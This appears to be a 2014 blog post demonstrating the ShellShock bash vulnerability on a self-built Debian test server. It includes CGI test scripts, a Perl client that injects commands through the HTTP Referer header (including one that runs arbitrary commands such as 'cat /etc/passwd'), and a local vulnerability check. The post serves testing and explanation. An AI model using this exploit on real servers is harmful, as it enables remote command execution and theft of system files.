Friday, 26 September 2014

ShellShock GNU bash vulnerability

Here's a proof of concept of the ShellShock attack on Debian 6

Setup

Create 2 CGI scripts thus:

test1.cgi

#!/bin/bash
echo Content-type: text/plain
echo ""
echo Hello


test2.cgi

#!/usr/bin/perl
print "Content-type: text/plain\n";
print "\n";
print "Hello from perl\n";
print "HTTP_REFERER=$ENV{HTTP_REFERER}\n\n";
#system('/bin/bash -c "echo Im In Bash"');


testclient.pl

#!/usr/bin/perl
use strict;
use warnings;
use LWP;
my $hackstr = '() { :; }; echo \'Content-type: text/plain\'; echo \'\'; echo \'Youve been 0wn3d\'; ';

# EDIT HERE
my $targeturl = 'http://myserver.example.com/cgi-bin/test1.cgi';
my $ua = LWP::UserAgent->new;
$ua->agent('MyHack 1.0');
my $req = HTTP::Request->new(GET => $targeturl);
$req->header('Referer', $hackstr);
my $res = $ua->request($req);
if ($res->is_success) {
        print $res->content;
}
else {
        print $res->status_line, "\n";

}

Testing

Install test1.cgi and test2.cgi on a test webserver under /cgi-bin/ and make sure both are chmod +x

Edit the $targeturl variable in testclient.pl to point to your test server and set it to test1.cgi

Run testclient.pl. The output might look something like:

Youve been 0wn3d
Content-type: text/plain

Hello


Now change $targeturl in testclient.pl to end in "/test2.cgi"
Run again. The output might look like:

Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d';


So good - non bash CGI scripts do not do anything bad.
EXCEPT, and here's the rub, what if the script calls bash via an exec() or system()?
Well - uncomment the #system... line in test2.cgi and run testclient again:

Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d';

Content-type: text/plain

Youve been 0wn3d
Im In Bash


Oh dear...

Here's an improved testclient.pl
#!/usr/bin/perl
use strict;
use warnings;

use LWP;
my $cmd = $ARGV[0];
my $hackstr = '() { :; }; echo \'Content-type: text/plain\'; echo \'\'; echo \'Youve been 0wn3d\'; ' . $cmd;

my $targeturl = 'http://myserver.example.com/cgi-bin/ttt2.cgi';
my $ua = LWP::UserAgent->new;
$ua->agent('MyHack 1.0');

my $req = HTTP::Request->new(GET => $targeturl);
$req->header('Referer', $hackstr);
my $res = $ua->request($req);
if ($res->is_success) {
        print $res->content;
}
else {
        print $res->status_line, "\n";
}


Now you can run:
testclient.pl 'hostname -f'

and get something like:
Hello from perl
HTTP_REFERER=() { :; }; echo 'Content-type: text/plain'; echo ''; echo 'Youve been 0wn3d'; hostname -f

Content-type: text/plain

Youve been 0wn3d
yourserver.example.com


then try:
testclient.pl 'cat /etc/passwd'

So what does it all mean?


Well - you'll notice I had to explicitly call /bin/bash in test2.cgi and also make it the explicit interpreter in test1.cgi.

This is because in Debian 6 and 7 at least apache's default shell is /bin/sh which is a symlink to /bin/dash. Debian 5 and before used bash as the default shell. NOTE that if you did an inplace dist-upgrade of Debian 5 to 6, /bin/sh will still link to /bin/bash.

So your risk (at least on new installs of Debian 6 onwards) will be limited to any web script that is called directly or indirectly from a CGI mechanism AND invokes bash explicitly - unless you changed the system shell...

Trivial clean test script for testing systems

#!/usr/bin/perl
use strict;

use warnings;
$ENV{SHELLSHOCK} = '() { :; }; echo \'Vulnerable to shellshock\'';

exec('/bin/bash', '-c', 'exit');


No comments:

Post a Comment